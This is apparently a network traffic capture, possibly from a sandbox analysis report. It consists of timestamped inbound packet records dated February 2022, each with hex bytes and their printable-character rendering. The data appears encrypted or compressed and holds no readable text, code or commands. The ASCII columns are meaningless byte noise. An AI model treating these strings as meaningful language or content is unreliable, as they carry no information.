99 8d 58 08 f2 4d 9b cb d8 d7 a7 f7 e4 5c e9 78 03 cf 19 69 81 b4 da ae 42 77 f1 f7 c7 b4 32 7c 89 23 d5 ef 02 6d 5a 08 f9 
ef 21 cb 3e 2c e2 e0 00 06 de dc 8b 4e 5a 37 04 06 
Data Ascii: 1#O4wx,rdO,b,D<lx"L7p55p)q6J.v'Nqr6.'q96.'q&vOajKV]OQPDLyPR=;{4G7N$Lr|eZN~XM\xiBw2|#mZ!>,NZ7

2022-02-08 23:07:10 UTC 311 IN Data Raw: 0f 79 3a 36 84 b9 31 bd 44 aa fd 57 ce 99 76 6b c6 2f 02 43 0d a0 4a 46 26 a2 cc 85 e5 2d 82 da 02 be 45 19 
c1 34 0d 81 32 be 45 31 c9 34 0d 89 42 be 45 a9 c0 22 c7 34 42 bc 45 ab dc bc ce e3 56 47 e4 87 74 7b d8 88 7b 74 5b 
18 f0 34 74 fb be f3 e5 70 f6 e9 af f2 11 93 6c 11 d2 50 94 13 1e df 96 59 9e 38 50 9a 59 fb 93 d4 96 78 b8 84 b5 44 84 fd 
76 83 47 3e fd cb 4c b5 b7 4b b7 9e a2 69 8b a2 29 21 03 59 50 e2 c4 9a 93 69 8e 5a b8 6f ac 66 84 e4 e4 ee 7f 9d 27 29 
bc 5e ac 63 3c 95 87 13 1e a9 bb 5b 8e 4e 30 13 06 b5 bb 59 86 66 90 39 a4 5a ac 71 34 bd 27 39 bc 46 ac 73 3c 9d 87 
23 1e a1 bb 6b 8e 46 30 23 06 bd bb 69 86 56 90 29 a4 6a ac 69 04 89 6f e2 4e 09 9c 69 0e 0e 7f f1 0e 01 f4 bb 91 e6 3f 
30 db 51 d8 e3 50 1b 67 04 b3 8d e5 91 31 19 6e d9 1e 92 2e 
Data Ascii: y:61DWvk/CJF&-E42E14BE"4BEVGt{{t[4tplPY8PYxDvG>LKi)!YPiZof')^c<[N0Yf9Zq4'9Fs<#kF0#iV)jioNi?
0QPg1n.

2022-02-08 23:07:10 UTC 313 IN Data Raw: a0 73 6b 60 a2 3b 78 ea ea 32 f3 aa ed d9 d9 da 84 e5 e5 92 97 6f ad 9b 1c 2f aa 70 36 75 81 4c 0a 35 bb d4 
c6 71 d4 17 05 b2 18 50 58 71 db 93 18 5b 4a 5f 5f 1f 89 9c 9c 23 83 2b 2a 1f 89 9c 8a 23 83 2b 06 1f 89 9c f3 23 83 2b 
19 1f 89 9c fa 23 83 2b 29 1f 89 e7 6f 27 4a 24 ac a1 ba 2e 86 9b 84 12 ba 1d 74 18 3c 53 f6 da 16 a1 ce e6 2a 27 3e ec 
02 65 b8 1c 08 e3 f6 9e ca cb b3 11 84 0d 8c ba b8 31 c4 a9 32 79 cd 22 72 7e 26 08 6b 6d 1a 34 e0 23 d4 10 4b 1f e8 
9b 0b 18 03 b1 ee bf 3f 8d a6 ac b5 c5 af 27 f5 c2 44 0d aa 65 78 31 e2 76 f2 79 eb fd b2 7e 00 d7 63 de 3c eb 2b cd b6 
a3 22 46 f6 a4 c9 6c 91 b8 f5 50 17 48 f6 7a 5a 70 ca 46 1a 5a 55 f1 aa 66 5f 46 32 5a 55 f1 a3 1a 7f 36 14 e0 43 3c a3 
13 7f 36 14 ce 43 3c a3 02 7f 36 15 a1 fd 4d a9 62 3e 8f 83 
Data Ascii: sk`;x2o/p6uL5qPXq[J__#+*#+#+#+)o'J$.t<S*'>e12y"r~&km4#K?'Dex1vy~c<+"FlPHzZpFZUf_F2ZU6C<6
C<6Mb>

2022-02-08 23:07:10 UTC 315 IN Data Raw: a0 6c 93 e6 e1 2d db 6f a5 09 ab 27 1d 4b e9 65 5f 09 ab 27 1d 41 22 63 39 39 6a a4 bd 1d ea a4 bd 1d ea a4 
bd 1d a2 63 39 39 2a 63 39 39 2a 63 39 39 62 a4 bd 1d f2 a4 bd 1d f2 a4 bd 1d ba 63 39 39 22 63 39 39 22 63 39 39 6a 
ee bd 1d ca ee bd 1d 82 65 45 2e 42 dc 6d 2e 42 dc 9e 84 aa af 9c 84 aa e7 15 c0 8e b7 9e 84 aa c7 bb 7b 55 38 bb 46 
14 79 fa 46 61 63 71 02 45 1b 54 fd ba e4 54 c0 f8 a6 16 c0 8d ac 5e 4d c1 88 2e a5 15 8a 2e a5 5d 07 62 81 2d ef 38 87 
2d ef bd 47 58 e5 f5 ca 14 c1 85 22 b8 c7 85 22 f0 4c c1 06 a0 04 a2 46 9c 4c 29 0a b8 1c 61 09 70 54 ea c8 38 dd ae ec 
00 95 25 a8 24 ad 2a 1f 64 bb 0f 1f e4 bb 0f 22 e4 3b 0f 22 91 31 c8 66 b5 79 88 66 b5 79 63 6e 72 3d 47 26 76 3d 47 26 
32 b6 0b 02 7a fa 80 46 5e aa c8 cd 0a 8e f0 85 87 c2 d4 f5 6f 
Data Ascii: l-o'Ke_'A"c99jc99*c99*c99bc99"c99"c99jeE.Bm.B{U8FyFacqETT^M..]b-8-GX""LFL)apT8%$*d";"1fy
fycnr=G&v=G&2zF^o

Timestamp
kBytes
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Direction Data
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2022-02-08 23:07:10 UTC 317 IN Data Raw: 12 c8 de e5 56 ec bc 9c 90 a8 98 ff d5 6e dc db b1 16 1a 9f 95 73 5b 59 d1 57 3d 59 17 13 19 11 41 d5 5d 35 
08 bc 9b 71 2c f6 e9 b7 68 d2 a2 c3 ae 96 86 8f db 50 c2 ab 96 31 04 ef b2 7f 68 29 f6 5b 27 68 30 1f 03 38 5c d9 47 1c 
0d b5 81 58 29 e7 ee 9e 6d c3 bd fd ab 87 99 a9 ab 41 dd 8d c3 17 1b c9 e7 7e 72 0f a3 5a 18 7d 65 1e 3c 16 11 d8 78 
32 7d ad be 76 59 c0 df b0 1d e4 b1 dc db a0 95 b3 8b 66 d1 97 fb 14 17 d3 df 65 78 15 9b 41 0a 61 5d 05 2e 12 38 c3 6a 
36 4c a0 ac 72 68 d5 d8 b4 2c f1 ae b4 64 7c e2 90 4c 34 69 14 68 a4 69 14 68 5b 79 5c e1 1f 5d 7c a9 92 09 58 91 da 82 
14 b5 fa ca 9f 31 de 5a 9f 31 de a5 cf 39 96 2e 43 1d 06 2e 43 1d 4e a7 02 0d 06 2a 56 29 5e 62 dd 65 7a 42 95 ee fe 66 
05 ee fe 66 fa be f6 2e 71 32 d2 be 71 32 d2 f6 f8 73 ca be 
Data Ascii: Vns[YW=YA]5q,hP1h)['h08\GX)mA~rZ}e<x2}vYfexAa].8j6Lrh,d|L4ihih[y\]|X1Z19.C.CN*V)^bezBff.q2q2s

2022-02-08 23:07:10 UTC 321 IN Data Raw: 23 d7 9d 0c e3 d2 d5 87 af f6 9d cf 22 72 9c 47 22 72 9c 0f ab 36 b8 17 e3 bd fc 33 fb 3e 84 37 fb 31 00 0c f9 
31 00 44 72 75 24 5c f9 75 6c d7 b5 51 2c 9f b6 99 64 14 77 d1 ed 50 53 c1 a5 db 17 e5 b5 58 6f e1 b5 57 eb f4 b7 57 eb 
bc 3c 13 cf ac b7 13 87 27 fb 37 c7 6f f8 ff 8f e4 39 b7 06 a0 1d bf 4e 2b 59 9b 5e a0 19 9f 16 23 f1 97 25 f1 48 95 25 f1 
48 dd d2 00 00 54 96 24 18 1c 1d 60 3c 0c 55 e3 fc 04 1d 6a f8 20 55 e1 bc 04 4d a9 35 40 69 81 7d cb 2d a5 65 83 d2 
6d 2d 0a 96 49 35 42 15 35 11 6a 15 3a 95 fc 14 3a 95 b4 9f 3e b1 bb 28 3e d7 7a c0 32 b1 f9 20 3d be 4e e0 be 46 44 95 
f8 fe bb 9a f8 fe f3 11 f4 da fc a6 fd bc df 6e f2 0b 1e 61 45 cb 56 ea 09 ef 5e a2 82 eb 5f ea 81 af 7b ca 38 50 74 ca 38 18 
ff de 1c 17 48 cc 7a 34 99 c3 cd fe 96 74 04 b6 
Data Ascii: #"rG"r63>711Dru$\ulQ,dwPSXoWW<'7o9N+Y^#%H%HT$`<Uj UM5@i}-em-I5B5j::>(>z2 =NFDnaEV^_{8Pt8
Hz4t

2022-02-08 23:07:11 UTC 339 IN Data Raw: ac f2 0f 89 1f 33 cc 02 51 e5 af b1 90 26 2d cb 43 e5 ee 08 cc af 51 ef 27 e5 fe 08 c4 ce ed 44 f9 f2 ab 47 4f 47 
25 0f 43 c0 6d 0f c8 88 79 84 80 84 52 18 d3 b9 6e 5e d0 0f c4 d4 98 03 ef dc c9 3e d3 9a ca 89 17 b2 6a 2c ef b7 dc 81 
64 f9 53 66 cf 72 f3 66 44 3c 25 e4 f7 fd e6 6f bd 72 01 9c f5 bc dc 2f 34 7f 57 ef 30 f4 1d 68 d7 1f 92 20 db 9d e9 f3 18 5e 
2a b9 87 b9 c9 92 1c ef f4 ae 5a ec 42 43 d1 a4 ed a4 62 ea 6d 77 e9 a2 f2 90 4a 29 b2 97 c9 ab 2e 0b 54 ab 66 06 7f 47 
8d c5 bc 48 c5 c8 97 ac 2e 0b 54 a3 66 06 7f 7f 8d c5 bc 70 c5 c8 97 a4 2e 0b 54 ab 66 06 7f 67 8d c5 bc 68 82 ca 3f f8 
09 8a 10 6b 82 c2 0a e0 cc 0c 51 db 0e cf 55 5c e9 64 b6 9f 2a a7 9d cf 7a 9a a1 44 34 54 4a 82 f5 97 61 72 a5 aa 5d f9 
eb 25 ba 52 64 6b 35 b5 97 e0 7f 3a 70 03 fd 
Data Ascii: 3Q&-CQ'DGOG%CmyRn^>j,dSfrfD<%or/4W0h ^*ZBCbmwJ).TfGH.Tfp.Tfgh?kQU\d*zD4TJar]%Rdk5:p

2022-02-08 23:07:11 UTC 357 IN Data Raw: e1 71 bf b6 15 b3 7c 3c 5f 36 af 17 b6 f4 6c d4 39 bc aa a8 61 7d 69 26 27 7e de fe ac 3e 79 19 47 fd 39 be a0 
1e fa 30 e8 13 0a 21 18 19 36 f7 59 ef f4 34 d2 a7 c7 bf 9a 38 20 3c 11 70 9f db 82 fb d7 de 09 b3 60 39 82 38 20 3e 71 
ba bd 3e 7e b5 36 74 e1 52 fd ff ab e5 1a 2c 3f 6e 5a 03 cc 13 98 c0 0f d0 13 88 35 5b 5b 91 f7 ad c4 c9 36 6e 8a 44 d3 
45 85 7e ef 79 20 86 ea cf ee 0d a2 df 65 45 ae f4 9e 79 92 c8 b6 a1 19 88 11 46 f2 4b 51 e1 15 a8 92 6e 5d a0 1d 26 59 
50 0c d6 53 6c da 1a a5 ae 19 91 ed 31 fe 12 66 79 49 f5 ed f2 09 f2 1e 6e 09 fd 11 61 82 bd 3e 9a f8 49 fd 59 3b 62 40 
63 07 5e 3a 87 c4 9d f9 22 84 a6 3b 94 66 8d 96 ae 5a b1 33 ee 61 73 85 20 1b 58 45 e3 d8 64 93 55 2d a6 50 7d 1d 56 
5a 41 cb 4e ac 83 08 41 87 0d 32 7d bb a8 72 46 79 1e 81 
Data Ascii: q|<_6l9a}i&'~>yG90!6Y48 <p`98 >q>~6tR,?nZ5[[6nDE~y eEyFKQn]&YPSl1fyIna>IY;b@c^:";fZ3as XEdU-
P}VZANA2}rFy

2022-02-08 23:07:11 UTC 359 IN Data Raw: 68 cb fd 4e 20 c3 76 04 a7 24 95 38 71 da 7a fa b2 9c 79 4c 75 6c 7a 64 da e7 32 32 49 27 f1 f1 c2 69 b7 b2 
82 aa 74 3d cc 25 93 be 47 6f 14 59 b4 e4 5a 1f ff a4 99 dc 70 ea 1e 3b e3 61 54 bc 04 8a df f2 42 19 1d 31 81 e9 17 ba 
cb 6e f0 59 f7 b8 0b b6 35 7b 4d b5 82 03 c6 fb 0d e4 55 74 43 aa c6 b6 80 69 49 f8 46 ab b9 3a 85 20 f3 b5 62 c3 78 fd 
6e 48 30 e8 45 86 fb 2b 86 83 7c d6 ba 40 fe 9e bf cf b0 c1 58 5c f7 02 9b d6 bf 9a 78 5c f7 2a 93 d6 bf 0a 11 4b 23 94 11 
44 a8 de 8e a3 63 55 c4 14 84 86 50 9f c4 a9 a3 1d 8c 9a 28 55 95 11 60 6f be f5 59 53 82 7e 11 5f be a8 c0 b0 7c 6b 86 
b3 ca ac 76 b0 e2 19 fd fe 24 d1 ad 3f e7 53 d7 ff 24 90 14 79 d4 93 9f 33 53 74 74 4a 90 b7 b7 8b 1b ff bb 8f 9c 18 58 4d 
5f db 9b 71 89 9f 73 b3 4a d9 70 04 44 52 38 ca 5b 
Data Ascii: hN v$8qzyLulzd22I'it=%GoYZp;aTB1nY5{MUtCiIF: bxnH0E+|@X\x\*K#DcUP(U`oYS~_|kv$?S$y3SttJXM
_qsJpDR8[

2022-02-08 23:07:11 UTC 361 IN Data Raw: 88 0c 1e 26 88 a9 d2 fa cf 6a 11 39 0c a9 b4 9c a9 fa 11 39 fa 70 53 03 39 af 90 c0 89 5c 1b 8a 5b d7 51 18 90 
5c 1b 8a 43 d7 5b 88 c0 5c 11 1a db d7 5b 88 f8 5d 67 82 73 17 f5 a9 f8 5d 67 9a 73 17 f5 a1 c5 0c dd ee 60 c0 01 69 a3 
03 8a a5 a3 d1 01 69 a3 43 ca e2 6f 43 58 31 e4 03 5a b2 6f cf 5a 20 74 44 96 20 e6 67 1c 1c ec ec d0 1c 7e c7 5b d0 7e 
55 68 5b b2 55 fa 60 04 46 c9 23 cb a1 0a 09 44 9d 36 35 4b 92 b9 7f cc 75 62 f0 86 fa 85 13 10 6a 10 87 9b 22 3f 0c db 
0d a4 87 9b ab af 44 10 e3 b6 b4 01 69 fe 87 8a 21 c4 00 c4 a0 2f 8b 8a 2e 3c a0 8b 13 00 9c 00 55 35 2a d6 7e 7a cb 15 
bd 7e 08 c0 7e bd cb eb 14 56 08 28 54 5d 34 00 cb d6 72 18 7c 10 f9 5e 40 a7 db 25 7c 9b e7 99 f3 d5 69 1a 78 9b e7 
11 f3 63 fc 9a bb 76 f8 1c 98 f7 3b df 5b 3b bf c4 dd cb 
Data Ascii: &j99pS9\[Q\C[\[]gs]gs`iiCoCX1ZoZ tD g~[~Uh[U`F#D65Kubj"?Di!/.<U5*~z~~V(T]4r|^@%|ixcv;[;

2022-02-08 23:07:11 UTC 363 IN Data Raw: 6b 26 6d d4 a7 53 ac 5f 6b 27 2d 9d 23 ae ed 16 6b 3f 29 90 20 fe 8c 12 6a 7f 4e 90 20 f6 8e 1a 6a 67 4a 90 
22 67 4a a0 ee cb 8b 90 6c 07 37 51 e6 4f 37 51 43 ea fb 8d 04 29 38 4e c7 ea 9d eb 62 b9 38 4e 31 33 7a 74 f2 d0 b9 b7 
42 51 32 ff 85 98 bd b7 12 51 76 3c 52 53 95 b7 18 d1 b6 38 52 43 9d b3 1a c4 54 80 95 8c c3 49 ae 06 ff 43 25 4c 7d 70 
aa 06 ef 4b 1c 11 65 0b 3f cd 4f 2c 01 f1 73 89 a4 54 bf 55 e3 97 7c 96 20 54 d9 c5 ab 16 e0 06 78 d5 23 b7 0e ae c0 74 
cd 6d 0c af 0a a4 c0 74 8d 6d 43 ff cf 6f 00 3c 0c ac 3c 37 ba 83 b7 75 90 40 64 b6 53 3b e7 75 90 f8 68 3d 5f 31 e7 75 c8 
f8 2c fa 04 f8 e6 75 c8 f8 74 be 47 b0 fb 77 94 3f b3 e0 5d e4 3c 2c 5d 6e ef a3 91 6e 7d 78 1e 26 f2 b1 fd a9 ba 26 34 42 
31 66 36 c1 be aa 36 4b 9d 25 fa 4b 0f 0e 75 03 80 
Data Ascii: k&mS_k'-#k?) jN jgJ"gJl7QO7QC)8Nb8N13ztBQ2Qv<RS8RCTIC%L}pKe?O,sTU| Tx#tmtmCo<<7u@dS;uh=_
1u,utGw?]<,]nn}x&&4B1f66K%Ku

2022-02-08 23:07:11 UTC 365 IN Data Raw: a0 dd 2d 48 3d 06 ef 8b b6 4c 2b b7 a6 c7 63 79 7f dc a2 ba 43 0a 35 61 81 c9 be 29 9a 42 f6 e7 5b 59 37 24 
67 8f b0 ff a5 4c 3f 07 85 fa f9 88 7d c1 4e f2 f2 89 6e 79 b8 16 89 92 33 5e b9 19 79 c1 5e ea f6 89 65 61 bc 0e 82 9a 37 
46 b9 11 7d c1 5e f2 55 95 d5 bc 83 c7 0c 7e 40 4c 42 b0 e9 95 80 73 c2 1f bd 4f fe 94 f3 99 b3 4d 31 5a 38 03 ff e6 e1 
c1 3c cd 14 fc 00 f1 47 7a 46 c4 f0 b6 3c 0f 33 75 ff 24 22 8d 3c e7 a4 cb 09 51 41 cf cf e1 f9 0e 0c 23 3a cd cf 59 f1 0e 0c 
9a da 74 f4 59 19 f6 bc 57 32 14 84 6b 0e 96 cc 65 32 40 1f b0 f0 83 10 3b b8 1c f7 88 33 54 40 6f 88 df 00 68 0b 5d 9c 
ea 96 df 02 68 09 43 02 67 06 4c 84 97 05 bc 95 bd 98 81 a9 81 97 8e 2a 11 1c ce 05 f2 54 d4 2e 2a be 17 ed 60 25 c8 
66 20 22 2b fe 20 2d 24 75 6a b2 c3 be fe 39 83 91 
Data Ascii: -H=L+cyC5a)B[Y7$gL?}Nny3^y^ea7F}^U~@LBsOM1Z8<GzF<3u$"<QA#:YtYW2ke2@;3T@oh]hCgL*T.*`%f 
"+ -$uj9

2022-02-08 23:07:11 UTC 367 IN Data Raw: 8e 36 bd 17 39 f8 32 5f 3f 08 23 d5 77 07 08 7d 53 3b 34 56 aa f3 f7 95 ae 30 16 56 6d f3 3c d7 50 cf 00 97 dc 
14 e3 1c 34 09 13 0d bf 41 13 87 8b 74 39 71 b6 48 05 31 3a 93 d6 19 13 9c 5d 59 3c 67 d2 13 b3 80 31 9d fb 8b be d5 fa 
00 fe dc c6 2b 35 1f 05 e8 be 5f 02 13 be 50 0d 1c 35 18 0a 97 7f 83 c1 1c 35 30 12 97 7f 8b c9 18 35 38 2a 9a a1 b3 6a 
b5 52 39 22 87 dc 71 19 0c 94 48 96 44 a6 c6 d0 47 11 65 5e 01 1b d2 c6 8a 53 4d 21 29 d8 0b 39 9f 39 80 79 a6 05 37 
b0 29 4d 36 40 38 66 22 65 04 5a 09 00 cd 99 ca 04 0e 4c 09 c7 cd 67 09 14 0e a4 21 f8 85 ec 29 d3 bf 64 ea 10 ec ef a0 
8f 0b 0c 2f c7 06 82 67 c3 8d ca 73 49 c5 c7 58 cc fb fb 64 47 b3 c0 ef 0f bb eb 5f 80 78 28 d4 c8 7c 00 15 38 7f 8b 5d a7 
98 08 d6 ef 2f ef 5d 64 67 50 ba f7 e8 18 0d 10 73 93 
Data Ascii: 692_?#w}S;4V0Vm<P4At9qH1:]Y<g1+5_P55058*jR9"qHDGe^SM!)99y7)M6@8f"eZLg!)d/gsIXdG_x(|8]/]dgPs

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 369 IN Data Raw: a7 ae 9f 8e 02 2c 53 77 a2 ee d0 c7 6c 61 70 c5 e2 a1 72 60 60 6d 8b c0 a2 ee 3c b8 28 ae 3e 6b 00 8f b1 21 
87 68 6a b1 0c 28 45 52 86 60 5e 12 bf a2 e8 ac 94 e8 28 6f 57 ae 2b d9 93 5e 28 f3 67 9c eb 30 4c 76 33 f3 8f 30 30 45 
4b 1b 63 85 88 d8 4b af a3 b6 a1 6c 60 8a 77 88 ab 48 b4 03 e1 8e c7 07 20 4d ec f7 92 8e 2f 7c d8 48 18 d4 19 8b 33 60 
bc 48 f0 26 bf f2 34 0d 0e 2a f7 ce 26 22 dc 76 89 e1 1f 30 8a 5a c3 1b 67 f6 00 d8 21 f5 bb 0d d1 ff 90 c1 ff c3 ac 87 fc 75 
64 bb 3a 67 cc 7a f9 4d c3 b9 3a 8e e8 11 90 4d 2b 39 99 0b 3a 8f 08 43 fc f7 a0 82 3f b1 a3 4e 72 08 9f 72 4e 34 94 38 
88 5c 3c f9 4b a6 ea 47 e3 67 29 f1 25 4c 28 de 19 70 03 50 31 4c 3f db 77 54 89 08 5c a4 23 cb 9f 8f e6 13 5c 4c cd 21 
9d 8f 0e 72 16 c9 16 c4 aa 89 e8 0f 7c 48 2b 33 cb 
Data Ascii: ,Swlapr``m<(>k!hj(ER`^(oW+^(g0Lv300EKcKl`wH M/|H3`H&4*&"v0Zg!ud:gzM:M+9:C?NrrN48\<KGg)%L
(pP1L?wT\#\L!r|H+3

2022-02-08 23:07:11 UTC 389 IN Data Raw: 91 7f 87 a8 90 f8 cd 6e ed 51 0c ad 1d 52 87 ed 1a 81 1f ed 15 8e 94 a5 12 05 de 3e c1 8e 94 8d 1a 05 de 36 
f9 93 55 78 92 18 6d 44 ae 93 2f 6b dd 55 ec a8 56 1d 2a b8 98 dc e9 33 68 db 62 79 2e b8 a5 ba ed 3a ed 81 a5 0b a5 
9b e5 31 99 2c 23 1a d6 80 e0 d9 96 27 07 2a 55 ac 49 a5 b2 5b b9 b4 30 20 ee 77 f3 e3 c5 a5 e7 df f9 2e a9 58 1e dd 22 
16 90 ce a9 5c 17 29 4a d7 59 af 59 5c 13 28 be b7 38 06 5e 74 fb 8d 16 32 80 4a d5 f1 0b 00 93 fa c8 c3 50 71 86 85 2b 
b6 45 46 61 01 a2 b5 ea 41 a1 7e a0 fe 46 89 2b b4 c0 22 a0 fc 86 59 67 3f 45 d2 2d b8 a2 51 11 6e 87 6d d2 ad 0c 23 5d 
4a ef 6b 66 61 c2 80 a5 a2 84 83 13 71 c2 bf a5 be 82 87 99 09 46 cf 91 22 87 63 52 e1 0c 2b 1c 82 cb e8 df 09 3b e7 f4 
75 eb 24 37 fa a5 7b d0 89 63 b8 13 03 2b 20 c8 89 63 90 2b 
Data Ascii: nQR>6UxmD/kUV*3hby.:1,#'*UI[0 w.X"\)JYY\(8^t2JPq+EFaA~F+"Yg?E-Qnm#]JkfaqF"cR+;u$7{c+ c+

2022-02-08 23:07:11 UTC 391 IN Data Raw: cc f0 82 c3 8b c5 38 5d 4c 57 3d da ab d8 ce 58 e5 4a ff 13 62 ad 71 3b f1 2f 0b f0 32 ec c8 76 75 d9 72 f4 f3 
11 42 dc 0c 9b 0a 62 cf 11 4a 64 04 3a 11 cb c7 f9 97 3b d6 bf 94 f7 91 e8 52 34 52 6a 67 31 b1 dd a1 94 fb 29 89 55 b1 
dd 8d d2 56 42 4f 11 95 81 65 be 55 42 a6 3c 15 4f 25 be 6f 86 e6 7d ac ce 71 9a 27 b5 b2 d9 e4 76 35 9f d7 c1 fc 11 9f 
47 3f 9b df 41 f4 b3 26 c3 38 ca 03 0c 89 e6 89 4c 8f 2d 0b 79 8a ce bc a3 05 84 13 44 b6 06 26 41 35 b1 e2 cf f9 cd 64 f4 
d1 12 e2 38 a5 94 d9 10 73 16 ec 15 f0 a1 29 9b 50 27 12 b3 97 a1 5a 35 ac 2e 10 9a 4b 9d 92 af 4e 1e 25 61 c0 58 26 
db 0b d2 12 c0 89 1e 6b ed 42 99 2d de f4 50 af 12 8d 75 60 a3 4d f3 28 a0 cb b5 0f 1a 00 37 70 d8 c3 f4 b3 f0 0b 76 f3 
d5 3f f0 0b f5 b9 3c 87 d5 3e 74 28 32 9d fe 60 31 16 
Data Ascii: 8]LW=XJbq;/2vurBbJd:;R4Rjg1)UVBOeUB<O%o}q'v5G?A&8L-yD&A5d8s)P'Z5.KN%aX&kB-Pu`M(7pv?<>t(2`1

2022-02-08 23:07:11 UTC 423 IN Data Raw: c1 7f fb 10 02 bc 38 3b 2d c5 fb f8 6b c6 4c 33 23 41 ab c0 6b 4a a5 2a e0 04 6b b6 78 c5 a8 9d e9 12 6b 5e 
62 5a ec b9 89 d1 a6 7f 0c 4e 67 bc 87 00 e0 5b 6c 8b a0 58 a7 00 ea 9e b2 98 2b 5d 39 d0 ed b1 a6 11 2e 3a ec d7 4d 
a3 2d 14 49 65 68 8d 88 a6 a2 4a 4b a5 a6 8c 08 3c 67 4f ca ff a4 8c ce 39 ed 15 0f fa 2f d6 cc 39 54 1d 0f fa 97 96 a7 f9 
54 1d e9 37 15 84 28 f4 5d 13 cf 07 d6 59 18 c5 5d 17 d6 45 8f d5 15 6e 7a e8 29 52 f1 a8 2e b9 f1 a7 a5 ff fb 6b e2 15 39 
a8 21 9e 73 37 c6 4d e7 bc 86 62 04 37 ce 78 8f 7f 44 83 04 39 4e 34 c2 12 59 34 fe 2e d2 7c 76 a5 59 3a 7c 12 9f 11 79 
12 a3 2d f2 5a 2b b6 79 1c 21 01 bf 37 5a 01 83 0b d1 49 0b a0 5a 0f 01 17 9c 24 68 17 a0 18 e3 5f 28 ab 68 19 22 1c ae 
32 7d 1c 92 0e f6 54 1a b5 7d 12 10 02 bb 39 5d 02 87 
Data Ascii: 8;-kL3#AkJ*kxk^bZNg[lX+]9.:M-IehJK<gO9/9TT7(]Y]Enz)R.k9!s7Mb7xD9N4Y4.|vY:|y-Z+y!7ZIZ$h_(h"2}T}9]

2022-02-08 23:07:11 UTC 425 IN Data Raw: 93 d4 f5 e7 50 17 36 65 13 13 d5 e7 53 1e 56 6c 1d 80 45 ee 55 b0 c3 a8 72 7c 89 41 b3 bf 4a c3 cc 7a 89 00 
0f 50 2f c1 cc 93 6f fb 6a 5f 20 3b aa 9c e3 7b 90 38 5e 6b d0 02 f4 a7 97 2b 37 64 54 6b 0d c9 98 2c 61 0a 5b ef 21 30 f7 
23 66 65 34 e0 a5 25 0e 53 12 87 4e 69 a2 4b 09 ac 9e 77 35 ec a4 c1 f9 ab a2 02 3a 68 e2 38 81 a4 a4 38 40 67 67 76 
c2 0b 4f e4 fe 00 ea 63 04 d2 5d a8 8f 92 5f 69 c9 91 e9 5a 42 79 e1 d1 50 43 c9 32 db 05 d1 b9 17 82 0f 21 21 40 cc aa 
69 48 e4 63 55 43 63 98 87 f4 a7 13 bb f6 e1 10 0d c7 09 18 47 48 ee 9f 6d f6 2f 5c ae 74 50 8f 6d b7 93 0d a1 ce be c1 
da 0a 7d 02 19 40 fa e5 ba c2 80 36 79 01 43 b0 3e 34 f9 2e f9 a6 fc a9 1e 29 0f 2b 50 bb 3e 60 d7 5c b0 48 44 de ca 83 
87 1d 09 05 c0 28 b3 87 46 e0 83 af b9 6a cb 11 7a e0 8b 
Data Ascii: P6eSVlEUr|AJzP/oj_ ;{8^k+7dTk,a[!0#fe4%SNiKw5:h88@ggvOc]_iZByPC2!!@iHcUCcGHm/\tPm}@6yC>4
.)+P>`\HD(Fjz

2022-02-08 23:07:11 UTC 427 IN Data Raw: b0 bd 66 1a 57 7f e4 5a 2c 68 27 99 ef aa 9a 40 60 e4 1d a7 83 67 d1 d2 8e 1e 1a 11 4d dd 31 b1 d8 1e f2 3e 
90 99 15 dd b8 48 9f 95 fb 83 5d 56 38 00 91 23 35 cc e5 e4 be 8c c6 2f f8 8f 71 e4 7b c6 81 6f 47 c6 a9 12 0f a9 4e 41 cc 
6a 8d c2 8f 57 63 74 49 17 6d b5 61 d2 ee f6 5c 3a 58 33 df 73 a8 b8 e3 73 2e fe d6 c4 f0 7c 98 41 cd 3c a3 a0 78 f0 2d 
e6 44 47 ed 68 0e a3 1d 54 24 45 df 97 e7 c3 99 a2 51 26 1a e1 6c d5 ad 2a ee a8 64 e9 2d 6b 4c 1e 64 ab a3 85 0f b7 
14 4e 8d ca df 8d 4e 09 f7 6a cc 74 24 a9 0f b7 0c 66 8d f7 31 b5 3b 22 b2 f6 06 d1 04 25 4f 11 eb be 24 0d 5d 75 a7 44 
ed b7 2c 04 ed 76 a2 4c be bd 60 8f 7d 4d 71 cf 76 71 f3 fb 43 f6 bb f0 c0 3a ce fd 46 f6 ba 3a cf 74 f2 31 8f 56 35 86 45 
d5 f9 fb 48 95 d3 08 60 4c 51 4a 43 8c 93 89 80 3b 7c 
Data Ascii: fWZ,h'@`gM1>H]V8#5/q{oGNAjWctIma\:X3ss.|A<x-DGhT$EQ&l*d-kLdNNjt$f1;"%O$]uD,vL`}MqvqC:F:t
1V5EH`LQJC;|

2022-02-08 23:07:11 UTC 429 IN Data Raw: 24 75 2a f6 e7 fe 64 20 ee c6 a7 e3 65 8e af 68 2f 48 fc 3c ee 8b c0 ea 1f 90 03 29 94 de d5 39 ac 1d 16 b2 5c 
db 31 94 9e 18 ba dc 96 93 f0 1a 2f c7 31 d9 13 11 e6 c2 d0 d2 6d 8c 06 c4 55 4f c5 4f a5 89 c0 69 67 4a 4b 21 6f c1 01 
e7 c8 95 c0 24 f4 43 f5 30 37 80 7e 7e e1 8c 46 bd 22 07 b6 7b 49 21 74 b8 c2 69 7c 33 88 af f1 67 49 6c cd b1 52 78 0e 
72 d9 36 d8 60 e1 f5 1b eb 11 33 52 cd d3 f0 d9 85 db 7b 93 43 20 2f 52 80 1c f9 2b 94 df 3a a0 da 09 32 98 19 ca b9 68 
df 65 9f aa 1c ee d7 a2 97 a4 11 4b c3 65 d2 77 15 3a c6 b4 d6 b1 88 62 a8 89 4b a1 23 79 8d 2c 05 bb 4e a7 4d b3 c5 
ed 8b 74 91 2c 48 48 47 91 5c 8b 84 1a 12 5d e8 22 d1 9e 63 d2 17 6d 45 10 d4 e6 0d 18 5f ac cb 2d 0a 6d 08 11 dc ce 
1c d2 1f 45 52 04 7d 7d 91 c7 f6 8d 57 16 d0 4f 94 9d 98 47 
Data Ascii: $u*d eh/H<)9\1/1mUOOigJK!o$C07~~F"{I!ti|3gIlRxr6`3R{C /R+:2heKew:bK#y,NMt,HHG\]"cmE_-mER}}WOG

2022-02-08 23:07:11 UTC 431 IN Data Raw: bd 7f 7f 89 4d 75 54 21 7c 49 68 72 fe 36 bb b8 3d f5 fb 80 f5 41 0b 02 39 21 14 b2 d7 aa 5c f7 bc 69 9f 34 37 
23 18 d3 dc a8 58 b6 b7 6b 9b 75 74 2b a3 be c2 ba eb fb b1 79 28 38 fb fe cf 93 ff bb bc 50 3c 78 f3 93 ff bb b3 ab 34 0d 
